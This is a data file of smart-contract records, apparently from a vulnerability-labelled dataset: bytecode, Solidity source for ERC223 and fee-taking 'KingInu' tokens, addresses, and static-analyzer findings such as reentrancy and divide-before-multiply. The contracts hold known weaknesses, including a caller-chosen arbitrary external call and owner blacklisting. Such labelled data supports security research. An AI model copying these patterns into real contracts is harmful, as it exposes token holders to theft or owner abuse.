1403565b90925090506112a982826111cc565b9250505090565b600c541580156112c05750600d54155b156112c757565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806112f087611443565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061132290876114a0565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461135190866114e2565b6001600160a01b03891660009081526002602052604090205561137381611541565b61137d848361158b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113c291815260200190565b60405180910390a3505050505050505050565b600081836113f65760405162461bcd60e51b81526004016105889190611754565b506000610ef38486611a31565b6006546000908190670de0b6b3a764000061141e82826111cc565b82101561143a57505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006114608a600c54600d546115af565b925092509250600061147061128d565b905060008060006114838e878787611604565b919e509c509a509598509396509194505050505091939550919395565b600061100e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ec2565b6000806114ef8385611955565b90508381101561100e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610588565b600061154b61128d565b90506000611559838361120e565b3060009081526002602052604090205490915061157690826114e2565b30600090815260026020526040902055505050565b60065461159890836114a0565b6006556007546115a890826114e2565b6007555050565b60008080806115c960646115c3898961120e565b906111cc565b905060006115dc60646115c38a8961120e565b905060006115f4826115ee8b866114a0565b906114a0565b9992985090965090945050505050565b6000808080611613888661120e565b90506000611621888761120e565b9050600061162f888861120e565b90506000611641826115ee86866114a0565b939b939a50919850919650505050505050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461073a57600080fd5b803561168a8161166a565b919050565b600060208083850312156116a257600080fd5b823567ffffffffffffffff808211156116ba57600080fd5b818501915085601f8301126116ce57600080fd5b8135818111156116e0576116e0611654565b8060051b604051601f19603f8301168101818110858211171561170557611705611654565b60405291825284820192508381018501918883111561172357600080fd5b938501935b82851015611748576117398561167f565b84529385019392850192611728565b98975050505050505050565b600060208083528351808285015260005b8181101561178157858101830151858201604001528201611765565b81811115611793576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156117bc57600080fd5b82356117c78161166a565b946020939093013593505050565b6000806000606084860312156117ea57600080fd5b83356117f58161166a565b925060208401356118058161166a565b929592945050506040919091013590565b60006020828403121561182857600080fd5b813561100e8161166a565b60006020828403121561184557600080fd5b8135801515811461100e57600080fd5b60006020828403121561186757600080fd5b5035919050565b6000806000806080858703121561188457600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156118b357600080fd5b82356118be8161166a565b915060208301356118ce8161166a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561194e5761194e611924565b5060010190565b6000821982111561196857611968611924565b500190565b60008282101561197f5761197f611924565b500390565b60006020828403121561199657600080fd5b815161100e8161166a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119f15784516001600160a01b0316835293830193918301916001016119cc565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611a2c57611a2c611924565b500290565b600082611a4e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220797f0e0e0ae20fa1661e256d7efe5f087bac2bb6e0c8156a64783e388dc30d9464736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,030 |
0x836e65ee2202498e8e139aA86bF3cBed0FD88f76
|
pragma solidity ^0.4.20;
// ----------------------------------------------------------------------------------------------
// W Token by Beowulf Network Limited.
// An ERC223 standard
//
// author: Beowulf Team
// Contact: william@beowulfchain.com
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20 {
// Get the total token supply
function totalSupply() public constant returns (uint256 _totalSupply);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) public constant returns (uint256 balance);
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value) public returns (bool success);
// transfer _value amount of token approved by address _from
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
// approve an address with _value amount of tokens
function approve(address _spender, uint256 _value) public returns (bool success);
// get remaining token approved by _owner to _spender
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
// Triggered when tokens are transferred.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// Triggered whenever approve(address _spender, uint256 _value) is called.
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ERC223 is ERC20{
function transfer(address _to, uint _value, bytes _data) public returns (bool success);
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint _value, bytes indexed _data);
}
/// contract receiver interface
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes _data) external;
}
contract BasicBeowulfW is ERC223 {
using SafeMath for uint256;
uint256 public constant decimals = 5;
string public constant symbol = "W";
string public constant name = "W";
uint256 public _totalSupply = 3 * 10 ** 14; // total supply is 3*10^14 unit, equivalent to 3 billion BWF
// Owner of this contract
address public owner = 0xCF95949d508cb5A23643c6404FD6Ef3E9FF579ae;
address public admin;
// tradable
bool public tradable = true;
// Balances BWF for each account
mapping(address => uint256) balances;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint256)) allowed;
/**
* Functions with this modifier can only be executed by the owner
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier isTradable(){
require(tradable == true || msg.sender == admin || msg.sender == owner);
_;
}
/// @dev Constructor
function BasicBeowulfW()
public {
balances[owner] = _totalSupply;
Transfer(0x0, owner, _totalSupply);
}
/// @dev Gets totalSupply
/// @return Total supply
function totalSupply()
public
constant
returns (uint256) {
return _totalSupply;
}
/// @dev Gets account's balance
/// @param _addr Address of the account
/// @return Account balance
function balanceOf(address _addr)
public
constant
returns (uint256) {
return balances[_addr];
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr)
private
view
returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
/// @dev Transfers the balance from msg.sender to an account
/// @param _to Recipient address
/// @param _value Transfered amount in unit
/// @return Transfer status
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value)
public
isTradable
returns (bool success) {
require(_to != 0x0);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/// @dev Function that is called when a user or another contract wants to transfer funds .
/// @param _to Recipient address
/// @param _value Transfer amount in unit
/// @param _data the data pass to contract reveiver
function transfer(
address _to,
uint _value,
bytes _data)
public
isTradable
returns (bool success) {
require(_to != 0x0);
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
Transfer(msg.sender, _to, _value);
if(isContract(_to)) {
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
}
return true;
}
/// @dev Function that is called when a user or another contract wants to transfer funds .
/// @param _to Recipient address
/// @param _value Transfer amount in unit
/// @param _data the data pass to contract reveiver
/// @param _custom_fallback custom name of fallback function
function transfer(
address _to,
uint _value,
bytes _data,
string _custom_fallback)
public
isTradable
returns (bool success) {
require(_to != 0x0);
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
Transfer(msg.sender, _to, _value);
if(isContract(_to)) {
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
}
return true;
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(
address _from,
address _to,
uint256 _value)
public
isTradable
returns (bool success) {
require(_to != 0x0);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _amount)
public
returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
// get allowance
function allowance(address _owner, address _spender)
public
constant
returns (uint256 remaining) {
return allowed[_owner][_spender];
}
// withdraw any ERC20 token in this contract to owner
function transferAnyERC20Token(address tokenAddress, uint tokens) public returns (bool success) {
return ERC223(tokenAddress).transfer(owner, tokens);
}
// @dev allow owner to update admin
function updateAdmin(address _admin)
public
onlyOwner{
admin = _admin;
}
// allow people can transfer their token
// NOTE: can not turn off
function turnOnTradable()
public onlyOwner {
tradable = true;
}
}
contract BeowulfW is BasicBeowulfW {
function()
public
payable {
}
/// @dev Withdraws Ether in contract (Owner only)
/// @return Status of withdrawal
function withdraw() onlyOwner
public
returns (bool) {
return owner.send(this.balance);
}
}
|
0x6060604052600436106100ed5763ffffffff60e060020a60003504166306fdde0381146100ef578063095ea7b31461017957806318160ddd146101af57806323b872dd146101d45780632fb1746d146101fc578063313ce5671461020f5780633ccfd60b146102225780633eaaf86b1461023557806354840c6e1461024857806370a082311461025b5780638da5cb5b1461027a57806395d89b41146100ef578063a9059cbb146102a9578063be45fd62146102cb578063dc39d06d14610330578063dd62ed3e14610352578063e2f273bd14610377578063f6368f8a14610396578063f851a4401461043d575b005b34156100fa57600080fd5b610102610450565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561013e578082015183820152602001610126565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b61019b600160a060020a0360043516602435610487565b604051901515815260200160405180910390f35b34156101ba57600080fd5b6101c26104f4565b60405190815260200160405180910390f35b34156101df57600080fd5b61019b600160a060020a03600435811690602435166044356104fa565b341561020757600080fd5b6100ed610662565b341561021a57600080fd5b6101c26106a3565b341561022d57600080fd5b61019b6106a8565b341561024057600080fd5b6101c26106f8565b341561025357600080fd5b61019b6106fe565b341561026657600080fd5b6101c2600160a060020a036004351661070e565b341561028557600080fd5b61028d610729565b604051600160a060020a03909116815260200160405180910390f35b34156102b457600080fd5b61019b600160a060020a0360043516602435610738565b34156102d657600080fd5b61019b60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061084c95505050505050565b341561033b57600080fd5b61019b600160a060020a0360043516602435610ae8565b341561035d57600080fd5b6101c2600160a060020a0360043581169060243516610b6e565b341561038257600080fd5b6100ed600160a060020a0360043516610b99565b34156103a157600080fd5b61019b60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650610be395505050505050565b341561044857600080fd5b61028d610e1e565b60408051908101604052600181527f5700000000000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260046020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60005490565b60025460009060a060020a900460ff16151560011480610528575060025433600160a060020a039081169116145b80610541575060015433600160a060020a039081169116145b151561054c57600080fd5b600160a060020a038316151561056157600080fd5b600160a060020a03841660009081526003602052604090205461058a908363ffffffff610e2d16565b600160a060020a03808616600090815260036020908152604080832094909455600481528382203390931682529190915220546105cd908363ffffffff610e2d16565b600160a060020a0380861660009081526004602090815260408083203385168452825280832094909455918616815260039091522054610613908363ffffffff610e4216565b600160a060020a0380851660008181526003602052604090819020939093559190861690600080516020610e5b8339815191529085905190815260200160405180910390a35060019392505050565b60015433600160a060020a0390811691161461067d57600080fd5b6002805474ff0000000000000000000000000000000000000000191660a060020a179055565b600581565b60015460009033600160a060020a039081169116146106c657600080fd5b600154600160a060020a039081169030163180156108fc0290604051600060405180830381858888f194505050505090565b60005481565b60025460a060020a900460ff1681565b600160a060020a031660009081526003602052604090205490565b600154600160a060020a031681565b60025460009060a060020a900460ff16151560011480610766575060025433600160a060020a039081169116145b8061077f575060015433600160a060020a039081169116145b151561078a57600080fd5b600160a060020a038316151561079f57600080fd5b600160a060020a0333166000908152600360205260409020546107c8908363ffffffff610e2d16565b600160a060020a0333811660009081526003602052604080822093909355908516815220546107fd908363ffffffff610e4216565b600160a060020a038085166000818152600360205260409081902093909355913390911690600080516020610e5b8339815191529085905190815260200160405180910390a350600192915050565b600080600260149054906101000a900460ff16151560011515148061087f575060025433600160a060020a039081169116145b80610898575060015433600160a060020a039081169116145b15156108a357600080fd5b600160a060020a03851615156108b857600080fd5b6108d1846108c53361070e565b9063ffffffff610e2d16565b600160a060020a033316600090815260036020526040902055610903846108f78761070e565b9063ffffffff610e4216565b600160a060020a038087166000818152600360205260409081902093909355913390911690600080516020610e5b8339815191529087905190815260200160405180910390a361095285610e52565b15610add575083600160a060020a03811663c0ee0b8a3386866040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156109d85780820151838201526020016109c0565b50505050905090810190601f168015610a055780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515610a2557600080fd5b6102c65a03f11515610a3657600080fd5b505050826040518082805190602001908083835b60208310610a695780518252601f199092019160209182019101610a4a565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a45b506001949350505050565b600154600090600160a060020a038085169163a9059cbb911684846040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610b4d57600080fd5b6102c65a03f11515610b5e57600080fd5b5050506040518051949350505050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b60015433600160a060020a03908116911614610bb457600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60025460009060a060020a900460ff16151560011480610c11575060025433600160a060020a039081169116145b80610c2a575060015433600160a060020a039081169116145b1515610c3557600080fd5b600160a060020a0385161515610c4a57600080fd5b610c57846108c53361070e565b600160a060020a033316600090815260036020526040902055610c7d846108f78761070e565b600160a060020a038087166000818152600360205260409081902093909355913390911690600080516020610e5b8339815191529087905190815260200160405180910390a3610ccc85610e52565b15610add5784600160a060020a03166000836040518082805190602001908083835b60208310610d0d5780518252601f199092019160209182019101610cee565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015610d9e578082015183820152602001610d86565b50505050905090810190601f168015610dcb5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515610def57fe5b8260405180828051906020019080838360208310610a695780518252601f199092019160209182019101610a4a565b600254600160a060020a031681565b600082821115610e3c57600080fd5b50900390565b818101828110156104ee57600080fd5b6000903b11905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058202fbbde0d627e2b05c2747761a5591703976a60d411caf41a26e3a6d94576b77e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
| 6,031 |
0x1d5fcfa960d8de05d5f9f98d05d0832ab5736b9c
|
/**
*Submitted for verification at Etherscan.io on 2021-06-30
*/
// KingInu ($KingInu)
//2% Deflationary yes
//Bot Protect yes
//Telegram: https://t.me/kinginutoken
// 10% Team 4% Market
//CG, CMC listing: Ongoing
//Fair Launch
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KingInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "KingInu";
string private constant _symbol = "KingInu";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 4;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 4;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600781526020017f4b696e67496e7500000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081